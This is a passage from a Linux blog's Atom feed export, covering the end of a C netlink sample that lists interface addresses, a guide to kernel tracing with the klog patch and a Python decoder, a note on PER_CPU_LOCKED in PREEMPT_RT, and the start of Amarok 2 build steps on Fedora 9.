perror(&lt;span style="color: rgb(255, 96, 96);"&gt;"send"&lt;/span&gt;);&lt;br /&gt;              &lt;span style="color: rgb(255, 255, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      status = recv(fd, buf, &lt;span style="color: rgb(255, 255, 0);"&gt;sizeof&lt;/span&gt;(buf), &lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt; (status &amp;lt; &lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;) {&lt;br /&gt;              perror(&lt;span style="color: rgb(255, 96, 96);"&gt;"recv"&lt;/span&gt;);&lt;br /&gt;              &lt;span style="color: rgb(255, 255, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt;(status == &lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;){&lt;br /&gt;              printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"EOF&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;);&lt;br /&gt;              &lt;span style="color: rgb(255, 255, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; Typically the message is stored in buf, so we need to parse the message to *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;        * get the required data for our display. &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(255, 255, 0);"&gt;for&lt;/span&gt;(nlmp = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; nlmsghdr *)buf; status &amp;gt; &lt;span style="color: rgb(255, 255, 0);"&gt;sizeof&lt;/span&gt;(*nlmp);){&lt;br /&gt;              &lt;span style="color: rgb(0, 255, 0);"&gt;int&lt;/span&gt; len = nlmp-&amp;gt;nlmsg_len;&lt;br /&gt;              &lt;span style="color: rgb(0, 255, 0);"&gt;int&lt;/span&gt; req_len = len - &lt;span style="color: rgb(255, 255, 0);"&gt;sizeof&lt;/span&gt;(*nlmp);&lt;br /&gt;&lt;br /&gt;              &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt; (req_len&amp;lt;&lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt; || len&amp;gt;status) {&lt;br /&gt;                      printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"error&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;);&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;return&lt;/span&gt; -&lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;;&lt;br /&gt;              }&lt;br /&gt;&lt;br /&gt;              &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt; (!NLMSG_OK(nlmp, status)) {&lt;br /&gt;                      printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"NLMSG not OK&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;);&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;;&lt;br /&gt;              }&lt;br /&gt;&lt;br /&gt;              rtmp = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; ifaddrmsg *)NLMSG_DATA(nlmp);&lt;br /&gt;              rtatp = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; rtattr *)IFA_RTA(rtmp);&lt;br /&gt;&lt;br /&gt;              &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; Start displaying the index of the interface &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;              printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"Index Of Iface= &lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%d&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;,rtmp-&amp;gt;ifa_index);&lt;br /&gt;&lt;br /&gt;              rtattrlen = IFA_PAYLOAD(nlmp);&lt;br /&gt;&lt;br /&gt;              &lt;span style="color: rgb(255, 255, 0);"&gt;for&lt;/span&gt; (; RTA_OK(rtatp, rtattrlen); rtatp = RTA_NEXT(rtatp, rtattrlen)) {&lt;br /&gt;     &lt;br /&gt;               &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; Here we hit the fist chunk of the message. Time to validate the    *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * the type. For more info on the different types see man(7) rtnetlink*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * The table below is taken from man pages.                           *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * Attributes                                                         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * rta_type        value type             description                 *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * -------------------------------------------------------------      *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_UNSPEC      -                      unspecified.                *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_ADDRESS     raw protocol address   interface address           *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_LOCAL       raw protocol address   local address               *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_LABEL       asciiz string          name of the interface       *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_BROADCAST   raw protocol address   broadcast address.          *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_ANYCAST     raw protocol address   anycast address             *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;                 * IFA_CACHEINFO   struct ifa_cacheinfo   Address information.        &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt;(rtatp-&amp;gt;rta_type == IFA_CACHEINFO){&lt;br /&gt;                              cache_info = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; ifa_cacheinfo *)RTA_DATA(rtatp);&lt;br /&gt;                              &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt; (cache_info-&amp;gt;ifa_valid == INFINITY_LIFE_TIME)&lt;br /&gt;                                      printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"valid_lft forever&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;);&lt;br /&gt;                              &lt;span style="color: rgb(255, 255, 0);"&gt;else&lt;/span&gt;&lt;br /&gt;                                      printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"valid_lft &lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%u&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;sec&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;, cache_info-&amp;gt;ifa_valid);&lt;br /&gt;  &lt;br /&gt;                              &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt; (cache_info-&amp;gt;ifa_prefered == INFINITY_LIFE_TIME)&lt;br /&gt;                                      printf(&lt;span style="color: rgb(255, 96, 96);"&gt;" preferred_lft forever&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;);&lt;br /&gt;                              &lt;span style="color: rgb(255, 255, 0);"&gt;else&lt;/span&gt;&lt;br /&gt;                                      printf(&lt;span style="color: rgb(255, 96, 96);"&gt;" preferred_lft &lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%u&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;sec&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;,cache_info-&amp;gt;ifa_prefered);&lt;br /&gt;                      }&lt;br /&gt;&lt;br /&gt;                      &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; NOTE: All the commented code below can be used as it is for ipv4 table &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt;(rtatp-&amp;gt;rta_type == IFA_ADDRESS){&lt;br /&gt;                              &lt;span style="color: rgb(128, 128, 255);"&gt;// inp = (struct in_addr *)RTA_DATA(rtatp);&lt;/span&gt;&lt;br /&gt;                              in6p = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; in6_addr *)RTA_DATA(rtatp);&lt;br /&gt;                              printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"addr0: "&lt;/span&gt; NIP6_FMT &lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;,NIP6(*in6p));&lt;br /&gt;                              &lt;span style="color: rgb(128, 128, 255);"&gt;// printf("addr0: "NIPQUAD_FMT"\n",NIPQUAD(*inp));&lt;/span&gt;&lt;br /&gt;                      }&lt;br /&gt;&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt;(rtatp-&amp;gt;rta_type == IFA_LOCAL){&lt;br /&gt;                              &lt;span style="color: rgb(128, 128, 255);"&gt;// inp = (struct in_addr *)RTA_DATA(rtatp);&lt;/span&gt;&lt;br /&gt;                              in6p = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; in6_addr *)RTA_DATA(rtatp);&lt;br /&gt;                              printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"addr1: "&lt;/span&gt; NIP6_FMT &lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;,NIP6(*in6p));&lt;br /&gt;                              &lt;span style="color: rgb(128, 128, 255);"&gt;// printf("addr1: "NIPQUAD_FMT"\n",NIPQUAD(*inp));&lt;/span&gt;&lt;br /&gt;                      }&lt;br /&gt;&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt;(rtatp-&amp;gt;rta_type == IFA_BROADCAST){&lt;br /&gt;                              &lt;span style="color: rgb(128, 128, 255);"&gt;// inp = (struct in_addr *)RTA_DATA(rtatp);&lt;/span&gt;&lt;br /&gt;                              in6p = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; in6_addr *)RTA_DATA(rtatp);&lt;br /&gt;                              printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"bcataddr: "&lt;/span&gt; NIP6_FMT &lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;,NIP6(*in6p));&lt;br /&gt;                              &lt;span style="color: rgb(128, 128, 255);"&gt;// printf("Bcast addr: "NIPQUAD_FMT"\n",NIPQUAD(*inp));&lt;/span&gt;&lt;br /&gt;                      }&lt;br /&gt;&lt;br /&gt;                      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt;(rtatp-&amp;gt;rta_type == IFA_ANYCAST){&lt;br /&gt;                             &lt;span style="color: rgb(128, 128, 255);"&gt;//inp = (struct in_addr *)RTA_DATA(rtatp);&lt;/span&gt;&lt;br /&gt;                             in6p = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; in6_addr *)RTA_DATA(rtatp);&lt;br /&gt;                             printf(&lt;span style="color: rgb(255, 96, 96);"&gt;"anycastaddr: "&lt;/span&gt;NIP6_FMT&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;,NIP6(*in6p));&lt;br /&gt;                            &lt;span style="color: rgb(128, 128, 255);"&gt;// printf("anycast addr: "NIPQUAD_FMT"\n",NIPQUAD(*inp));&lt;/span&gt;&lt;br /&gt;                      }&lt;br /&gt;&lt;br /&gt;              }&lt;br /&gt;              status -= NLMSG_ALIGN(len);&lt;br /&gt;              nlmp = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; nlmsghdr*)((&lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt;*)nlmp + NLMSG_ALIGN(len));&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3197119736999864867?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3197119736999864867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/01/sample-code-to-learn-netlink.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3197119736999864867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3197119736999864867'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/01/sample-code-to-learn-netlink.html' title='Sample Code To Learn Netlink Infrastructure'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2304304650246040877</id><published>2008-12-10T03:08:00.000-08:00</published><updated>2012-01-22T05:40:02.443-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trace'/><category scheme='http://www.blogger.com/atom/ns#' term='klog'/><category scheme='http://www.blogger.com/atom/ns#' term='instrumentation'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><title type='text'>Collecting trace data from Linux kernel using klog</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Many mechanisms exist to trace through the linux kernel code, both dynamically and statically. For example, for static tracing, one could use the markers or ftrace, and for dynamic tracing, there is kprobe, systemtap (which is built on top of kprobes). However, I was looking for a way to just dump some data from the kernel into a buffer and dump that data to the user at a later point in time. An example scenario being, while I am in the timer interrupt or in some other non-preemptible code section, I only wish to capture some timestamps, I cannot afford to do a printk from there. Also for instance, I want to instrument the scheduler code to capture timestamp information, I will be into trouble.. as, scheduler code being executed so very often, I will be bombarded with data and the depending on how much data I am collecting, the system could also become unusable.&lt;br /&gt;&lt;br /&gt;I came across the klog kernel patch very recently. It was written by Tom Zanussi in 2005. Recently, &lt;a href="http://lkml.org/lkml/2008/1/8/243"&gt;Vaidyanathan Srinivasan&lt;/a&gt; made a few changes to klog, by adding the function ktrace, which makes it even more simpler to use it. Below, I describe how one could make use of this mechanism. Before we begin, note that klog is a static tracer. So, everytime you want to trace new code, the kernel will need to be recompiled.&lt;br /&gt;&lt;br /&gt;Apply the &lt;a href="http://svaidy.googlepages.com/1-klog.patch"&gt;klog patch&lt;/a&gt; to your kernel. This includes the changes made by Vaidy for ktrace. To trace through any code (ie, kernel routine), ktrace provides the following infrastructure:&lt;br /&gt;&lt;br /&gt;1) Trace events (defined in include/linux/ktrace.h):&lt;br /&gt;&lt;br /&gt;&lt;small&gt;&lt;big&gt;&lt;em&gt;&lt;/em&gt;&lt;/big&gt;&lt;em&gt;&lt;/em&gt;&lt;/small&gt;&lt;em&gt;&lt;span style="color:#000099;"&gt;&lt;b&gt;enum KTRACE_EVENT_ID {&lt;br /&gt;    KT_EVENT_FUNC_ENTER,&lt;br /&gt;    KT_EVENT_FUNC_EXIT,&lt;br /&gt;    KT_EVENT_INFO1,&lt;br /&gt;    KT_EVENT_INFO2,&lt;br /&gt;    KT_EVENT_INFO3,&lt;br /&gt;    KT_EVENT_INFO4,&lt;br /&gt;    KT_EVENT_ERROR,&lt;br /&gt;};&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;2) Enumerator for the functions to be traced (include/linux/ktrace.h):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color:#000099;"&gt;enum KTRACE_FUNC_ID {&lt;br /&gt;    KT_FUNC_tick_nohz_stop_sched_tick,        /* 0 */&lt;br /&gt;    KT_FUNC_tick_nohz_restart_sched_tick,        /* 1 */&lt;br /&gt;};&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Logging routines (lib/ktrace.c):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color:#000099;"&gt;void ktrace_log2(unsigned char func, unsigned char event, uint64_t u1, uint64_t u2);&lt;br /&gt;void ktrace_log4(unsigned char func, unsigned char event, uint32_t u1, uint32_t u2,&lt;br /&gt;                            uint32_t u3, uint32_t u4);&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;So now, if you want to capture timestamps between the entry and exit of a routine x (assuming the routine executes in preempt disable mode), the following changes would be needed:&lt;br /&gt;&lt;br /&gt;a) Add that function into the KTRACE_FUNC_ID,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color:#000099;"&gt;enum KTRACE_FUNC_ID {&lt;br /&gt;    KT_FUNC_tick_nohz_stop_sched_tick,        /* 0 */&lt;br /&gt;    KT_FUNC_tick_nohz_restart_sched_tick,        /* 1 */&lt;br /&gt;+  KT_FUNC_my_func_to_trace,&lt;br /&gt;};&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;b) At the entry of the routine, capture the timestamp:&lt;br /&gt;&lt;br /&gt;    &lt;b&gt;&lt;span style="color:#000099;"&gt;ktime_to_ns(start);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;At the exit of the routine, make a call to ktrace_log2,&lt;br /&gt;&lt;br /&gt; &lt;b&gt;&lt;span style="color:#000099;"&gt;ktrace_log2(KT_FUNC_my_func_to_trace, KT_FUNC_EXIT,ktime_to_ns(now)-start, 0);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now, whenever the routine is executed, the ktrace_log2 call will dump the information into the klog buffer. Compile and reboot into the modified kernel. Mount debugfs:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color:#000099;"&gt;     # mkdir /debug&lt;br /&gt;     # mount -t debugfs nodev /debug &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now run the &lt;a href="http://svaidy.googlepages.com/1-klog.c"&gt;klog.c&lt;/a&gt; program&lt;br /&gt;&lt;br /&gt;     &lt;b&gt;&lt;span style="color:#000099;"&gt;# ./klog [-b subbuf-size -n n_subbufs]&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The resultant trace data will be stored in ./cpu0..cpu[x] files. Remember that this data is in binary format and needs to be processed to convert into ascii. For that, a simple python program can be used. A sample python script could be as follows: (adopted from &lt;a href="http://svaidy.googlepages.com/1-sched-stats.py"&gt;this script&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;import os&lt;br /&gt;import sys&lt;br /&gt;import struct&lt;br /&gt;&lt;br /&gt;# Globals&lt;br /&gt;nr_cpus = 4&lt;br /&gt;&lt;br /&gt;tracedata = []&lt;br /&gt;&lt;br /&gt;cookedtrace = open("trace.txt", 'w')&lt;br /&gt;for cpu in range(nr_cpus):&lt;br /&gt;        tracefile = open("cpu%d" % cpu)&lt;br /&gt;        while(1):&lt;br /&gt;                tracerecord = tracefile.read(24)&lt;br /&gt;                if not len(tracerecord):&lt;br /&gt;                        break&lt;br /&gt;                tracerecordfields = struct.unpack("IBBBxQQ", tracerecord)&lt;br /&gt;                tracedata.append(tracerecordfields)&lt;br /&gt;                cookedtrace.write("U%-10d C%d F%X E%x %10d %10d\n" % tracerecordfields)&lt;br /&gt;cookedtrace.close()&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The above will generate trace.txt file, with the data in the different columsn. Further processing could be done based on the particular event type and function id, to capture more information. From the information captured, one could easily plot graphs usig gnuplot.&lt;/em&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2304304650246040877?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2304304650246040877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/12/collecting-trace-data-from-linux-kernel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2304304650246040877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2304304650246040877'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/12/collecting-trace-data-from-linux-kernel.html' title='Collecting trace data from Linux kernel using klog'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-4156081649745105463</id><published>2008-11-28T18:47:00.000-08:00</published><updated>2012-01-22T05:40:02.538-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rt-mutex'/><category scheme='http://www.blogger.com/atom/ns#' term='per-cpu variables'/><category scheme='http://www.blogger.com/atom/ns#' term='realtime'/><category scheme='http://www.blogger.com/atom/ns#' term='PREEMPT_RT'/><title type='text'>Understanding PER_CPU_LOCKED</title><content type='html'>&lt;span class="Apple-style-span" style="font-style: italic;"&gt;per_cpu&lt;/span&gt; variables is one of the type of synchronization primitive available in the linux kernel.&lt;div&gt;As the name suggests, it it used by those &lt;span class="Apple-style-span" style="font-style: italic;"&gt;data structures&lt;/span&gt; that &lt;span class="Apple-style-span" style="font-style: italic;"&gt;need elements equal to the number of processor available.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This helps avoid contention and faster access due to cache coherency as the element of the per_cpu data structure accessed correponds "only" to the processor on which the kernel thread is running on.This obviously means preemption be disabled before accessing the per_cpu variables.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now, in the &lt;a href="http://rt.wiki.kernel.org/index.php/Main_Page"&gt;realtime linux kernel (PREEMPT_RT patchset)&lt;/a&gt; the aim is to be as preemptible as possible so as to allow high priority tasks to preempt anyone and everyone. Hence the above assumption that preemption is disabled prior to accessing per_cpu variables breaks.&lt;/div&gt;&lt;div&gt;This happens because, usually spinlocks are used to disable preemption but in realtime linux, all these spinlocks are converted to &lt;a href="http://www.mjmwired.net/kernel/Documentation/rt-mutex.txt"&gt;rt-mutexes .&lt;/a&gt; rt-mutexes does not disable preemption and puts the process to sleep instead of spinning.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A task put to sleep, would not know on which processor it will wake up on. Hence,  a task can be preempted while accessing a per_cpu var and scheduled on another processor. The value eventually read can be corrupted or illegal.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The solution is to declare variables as PER_CPU_LOCKED (DEFINE_PER_CPU_LOCKED, DECLARE_PER_CPU_LOCKED) instead of just PER_CPU DEFINE_PER_CPU, DECLARE_PER_CPU).&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This new macro,  associates a per-cpu sleeping lock (rt-mutex) with the per-cpu variable. So, even if a kernel thread accessing a per-cpu variable is scheduled on another cpu, this lock will ensure that the data read is correct.&lt;br /&gt;&lt;br /&gt;The implication of this new macro is a performance hit, as the per-cpu variable being read on one processor could well be for some other processor.&lt;br /&gt;&lt;br /&gt;This performance hit is alright as in "realtime" we care more about "latency" and "determinism" than "overall system performance".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-4156081649745105463?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/4156081649745105463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/11/understanding-percpulocked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4156081649745105463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4156081649745105463'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/11/understanding-percpulocked.html' title='Understanding PER_CPU_LOCKED'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7878431671181680142</id><published>2008-11-26T03:35:00.000-08:00</published><updated>2012-01-22T05:40:02.634-08:00</updated><title type='text'>Installing Amarok 2 Beta/RC on Fedora 9</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/__DVYqd7nG8Q/SS03DCegQoI/AAAAAAAAEaM/6XRRp7a1YvA/s1600-h/amarok-2-rc1-snapshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/__DVYqd7nG8Q/SS03DCegQoI/AAAAAAAAEaM/6XRRp7a1YvA/s320/amarok-2-rc1-snapshot.png" alt="" id="BLOGGER_PHOTO_ID_5272931264064668290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Installing &lt;a href="http://amarok.kde.org/en/releases/2.0/rc/1"&gt;Amarok 2 Beta/RC&lt;/a&gt; is pretty straight forward except that the steps on the &lt;a href="http://amarok.kde.org/wiki/Compiling:2.0"&gt;Amarok wiki&lt;/a&gt; are incomplete.&lt;br /&gt;&lt;br /&gt;First you need to install cmake&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;# yum install cmake&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;After that, try compiling with&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;# cmake  -DCMAKE_INSTALL_PREFIX=`kde4-config --prefix` -DCMAKE_BUILD_TYPE=debugfull&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br 